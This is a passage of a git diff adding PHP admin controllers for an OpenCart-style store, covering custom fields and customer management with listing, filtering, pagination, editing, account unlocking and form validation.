+ $data['delete'] = $this->url->link('customer/custom_field/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['custom_fields'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $custom_field_total = $this->model_customer_custom_field->getTotalCustomFields();
+
+ $results = $this->model_customer_custom_field->getCustomFields($filter_data);
+
+ foreach ($results as $result) {
+ $type = '';
+
+ switch ($result['type']) {
+ case 'select':
+ $type = $this->language->get('text_select');
+ break;
+ case 'radio':
+ $type = $this->language->get('text_radio');
+ break;
+ case 'checkbox':
+ $type = $this->language->get('text_checkbox');
+ break;
+ case 'input':
+ $type = $this->language->get('text_input');
+ break;
+ case 'text':
+ $type = $this->language->get('text_text');
+ break;
+ case 'textarea':
+ $type = $this->language->get('text_textarea');
+ break;
+ case 'file':
+ $type = $this->language->get('text_file');
+ break;
+ case 'date':
+ $type = $this->language->get('text_date');
+ break;
+ case 'datetime':
+ $type = $this->language->get('text_datetime');
+ break;
+ case 'time':
+ $type = $this->language->get('text_time');
+ break;
+ }
+
+ $data['custom_fields'][] = array(
+ 'custom_field_id' => $result['custom_field_id'],
+ 'name' => $result['name'],
+ 'location' => $this->language->get('text_' . $result['location']),
+ 'type' => $type,
+ 'status' => $result['status'],
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('customer/custom_field/edit', 'user_token=' . $this->session->data['user_token'] . '&custom_field_id=' . $result['custom_field_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . '&sort=cfd.name' . $url, true);
+ $data['sort_location'] = $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . '&sort=cf.location' . $url, true);
+ $data['sort_type'] = $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . '&sort=cf.type' . $url, true);
+ $data['sort_status'] = $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . '&sort=cf.status' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . '&sort=cf.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $custom_field_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($custom_field_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($custom_field_total - $this->config->get('config_limit_admin'))) ? $custom_field_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $custom_field_total, ceil($custom_field_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('customer/custom_field_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['custom_field_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['custom_field_value'])) {
+ $data['error_custom_field_value'] = $this->error['custom_field_value'];
+ } else {
+ $data['error_custom_field_value'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['custom_field_id'])) {
+ $data['action'] = $this->url->link('customer/custom_field/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('customer/custom_field/edit', 'user_token=' . $this->session->data['user_token'] . '&custom_field_id=' . $this->request->get['custom_field_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['custom_field_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $custom_field_info = $this->model_customer_custom_field->getCustomField($this->request->get['custom_field_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['custom_field_description'])) {
+ $data['custom_field_description'] = $this->request->post['custom_field_description'];
+ } elseif (isset($this->request->get['custom_field_id'])) {
+ $data['custom_field_description'] = $this->model_customer_custom_field->getCustomFieldDescriptions($this->request->get['custom_field_id']);
+ } else {
+ $data['custom_field_description'] = array();
+ }
+
+ if (isset($this->request->post['location'])) {
+ $data['location'] = $this->request->post['location'];
+ } elseif (!empty($custom_field_info)) {
+ $data['location'] = $custom_field_info['location'];
+ } else {
+ $data['location'] = '';
+ }
+
+ if (isset($this->request->post['type'])) {
+ $data['type'] = $this->request->post['type'];
+ } elseif (!empty($custom_field_info)) {
+ $data['type'] = $custom_field_info['type'];
+ } else {
+ $data['type'] = '';
+ }
+
+ if (isset($this->request->post['value'])) {
+ $data['value'] = $this->request->post['value'];
+ } elseif (!empty($custom_field_info)) {
+ $data['value'] = $custom_field_info['value'];
+ } else {
+ $data['value'] = '';
+ }
+
+ if (isset($this->request->post['validation'])) {
+ $data['validation'] = $this->request->post['validation'];
+ } elseif (!empty($custom_field_info)) {
+ $data['validation'] = $custom_field_info['validation'];
+ } else {
+ $data['validation'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($custom_field_info)) {
+ $data['status'] = $custom_field_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($custom_field_info)) {
+ $data['sort_order'] = $custom_field_info['sort_order'];
+ } else {
+ $data['sort_order'] = '';
+ }
+
+ if (isset($this->request->post['custom_field_value'])) {
+ $custom_field_values = $this->request->post['custom_field_value'];
+ } elseif (isset($this->request->get['custom_field_id'])) {
+ $custom_field_values = $this->model_customer_custom_field->getCustomFieldValueDescriptions($this->request->get['custom_field_id']);
+ } else {
+ $custom_field_values = array();
+ }
+
+ $data['custom_field_values'] = array();
+
+ foreach ($custom_field_values as $custom_field_value) {
+ $data['custom_field_values'][] = array(
+ 'custom_field_value_id' => $custom_field_value['custom_field_value_id'],
+ 'custom_field_value_description' => $custom_field_value['custom_field_value_description'],
+ 'sort_order' => $custom_field_value['sort_order']
+ );
+ }
+
+ if (isset($this->request->post['custom_field_customer_group'])) {
+ $custom_field_customer_groups = $this->request->post['custom_field_customer_group'];
+ } elseif (isset($this->request->get['custom_field_id'])) {
+ $custom_field_customer_groups = $this->model_customer_custom_field->getCustomFieldCustomerGroups($this->request->get['custom_field_id']);
+ } else {
+ $custom_field_customer_groups = array();
+ }
+
+ $data['custom_field_customer_group'] = array();
+
+ foreach ($custom_field_customer_groups as $custom_field_customer_group) {
+ $data['custom_field_customer_group'][] = $custom_field_customer_group['customer_group_id'];
+ }
+
+ $data['custom_field_required'] = array();
+
+ foreach ($custom_field_customer_groups as $custom_field_customer_group) {
+ if ($custom_field_customer_group['required']) {
+ $data['custom_field_required'][] = $custom_field_customer_group['customer_group_id'];
+ }
+ }
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('customer/custom_field_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'customer/custom_field')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['custom_field_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 1) || (utf8_strlen($value['name']) > 128)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ if (($this->request->post['type'] == 'select' || $this->request->post['type'] == 'radio' || $this->request->post['type'] == 'checkbox')) {
+ if (!isset($this->request->post['custom_field_value'])) {
+ $this->error['warning'] = $this->language->get('error_type');
+ }
+
+ if (isset($this->request->post['custom_field_value'])) {
+ foreach ($this->request->post['custom_field_value'] as $custom_field_value_id => $custom_field_value) {
+ foreach ($custom_field_value['custom_field_value_description'] as $language_id => $custom_field_value_description) {
+ if ((utf8_strlen($custom_field_value_description['name']) < 1) || (utf8_strlen($custom_field_value_description['name']) > 128)) {
+ $this->error['custom_field_value'][$custom_field_value_id][$language_id] = $this->language->get('error_custom_value');
+ }
+ }
+ }
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'customer/custom_field')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/customer/customer.php b/public/admin/controller/customer/customer.php
new file mode 100644
index 0000000..44048d0
--- /dev/null
+++ b/public/admin/controller/customer/customer.php
@@ -0,0 +1,1504 @@
+load->language('customer/customer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('customer/customer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_customer_customer->addCustomer($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('customer/customer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_customer_customer->editCustomer($this->request->get['customer_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('customer/customer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $customer_id) {
+ $this->model_customer_customer->deleteCustomer($customer_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function unlock() {
+ $this->load->language('customer/customer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer');
+
+ if (isset($this->request->get['email']) && $this->validateUnlock()) {
+ $this->model_customer_customer->deleteLoginAttempts($this->request->get['email']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $filter_email = $this->request->get['filter_email'];
+ } else {
+ $filter_email = '';
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $filter_customer_group_id = $this->request->get['filter_customer_group_id'];
+ } else {
+ $filter_customer_group_id = '';
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $filter_status = $this->request->get['filter_status'];
+ } else {
+ $filter_status = '';
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $filter_ip = $this->request->get['filter_ip'];
+ } else {
+ $filter_ip = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('customer/customer/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('customer/customer/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('setting/store');
+
+ $stores = $this->model_setting_store->getStores();
+
+ $data['customers'] = array();
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_email' => $filter_email,
+ 'filter_customer_group_id' => $filter_customer_group_id,
+ 'filter_status' => $filter_status,
+ 'filter_date_added' => $filter_date_added,
+ 'filter_ip' => $filter_ip,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $customer_total = $this->model_customer_customer->getTotalCustomers($filter_data);
+
+ $results = $this->model_customer_customer->getCustomers($filter_data);
+
+ foreach ($results as $result) {
+ $login_info = $this->model_customer_customer->getTotalLoginAttempts($result['email']);
+
+ if ($login_info && $login_info['total'] >= $this->config->get('config_login_attempts')) {
+ $unlock = $this->url->link('customer/customer/unlock', 'user_token=' . $this->session->data['user_token'] . '&email=' . $result['email'] . $url, true);
+ } else {
+ $unlock = '';
+ }
+
+ $store_data = array();
+
+ $store_data[] = array(
+ 'name' => $this->config->get('config_name'),
+ 'href' => $this->url->link('customer/customer/login', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'] . '&store_id=0', true)
+ );
+
+ foreach ($stores as $store) {
+ $store_data[] = array(
+ 'name' => $store['name'],
+ 'href' => $this->url->link('customer/customer/login', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'] . '&store_id=' . $store['store_id'], true)
+ );
+ }
+
+ $data['customers'][] = array(
+ 'customer_id' => $result['customer_id'],
+ 'name' => $result['name'],
+ 'email' => $result['email'],
+ 'customer_group' => $result['customer_group'],
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'ip' => $result['ip'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'unlock' => $unlock,
+ 'store' => $store_data,
+ 'edit' => $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_email'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&sort=c.email' . $url, true);
+ $data['sort_customer_group'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&sort=customer_group' . $url, true);
+ $data['sort_status'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&sort=c.status' . $url, true);
+ $data['sort_ip'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&sort=c.ip' . $url, true);
+ $data['sort_date_added'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&sort=c.date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $customer_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($customer_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($customer_total - $this->config->get('config_limit_admin'))) ? $customer_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $customer_total, ceil($customer_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_name'] = $filter_name;
+ $data['filter_email'] = $filter_email;
+ $data['filter_customer_group_id'] = $filter_customer_group_id;
+ $data['filter_status'] = $filter_status;
+ $data['filter_ip'] = $filter_ip;
+ $data['filter_date_added'] = $filter_date_added;
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('customer/customer_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['customer_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['customer_id'])) {
+ $data['customer_id'] = (int)$this->request->get['customer_id'];
+ } else {
+ $data['customer_id'] = 0;
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['firstname'])) {
+ $data['error_firstname'] = $this->error['firstname'];
+ } else {
+ $data['error_firstname'] = '';
+ }
+
+ if (isset($this->error['lastname'])) {
+ $data['error_lastname'] = $this->error['lastname'];
+ } else {
+ $data['error_lastname'] = '';
+ }
+
+ if (isset($this->error['email'])) {
+ $data['error_email'] = $this->error['email'];
+ } else {
+ $data['error_email'] = '';
+ }
+
+ if (isset($this->error['telephone'])) {
+ $data['error_telephone'] = $this->error['telephone'];
+ } else {
+ $data['error_telephone'] = '';
+ }
+
+ if (isset($this->error['tracking'])) {
+ $data['error_tracking'] = $this->error['tracking'];
+ } else {
+ $data['error_tracking'] = '';
+ }
+
+ if (isset($this->error['cheque'])) {
+ $data['error_cheque'] = $this->error['cheque'];
+ } else {
+ $data['error_cheque'] = '';
+ }
+
+ if (isset($this->error['paypal'])) {
+ $data['error_paypal'] = $this->error['paypal'];
+ } else {
+ $data['error_paypal'] = '';
+ }
+
+ if (isset($this->error['bank_account_name'])) {
+ $data['error_bank_account_name'] = $this->error['bank_account_name'];
+ } else {
+ $data['error_bank_account_name'] = '';
+ }
+
+ if (isset($this->error['bank_account_number'])) {
+ $data['error_bank_account_number'] = $this->error['bank_account_number'];
+ } else {
+ $data['error_bank_account_number'] = '';
+ }
+
+ if (isset($this->error['password'])) {
+ $data['error_password'] = $this->error['password'];
+ } else {
+ $data['error_password'] = '';
+ }
+
+ if (isset($this->error['confirm'])) {
+ $data['error_confirm'] = $this->error['confirm'];
+ } else {
+ $data['error_confirm'] = '';
+ }
+
+ if (isset($this->error['custom_field'])) {
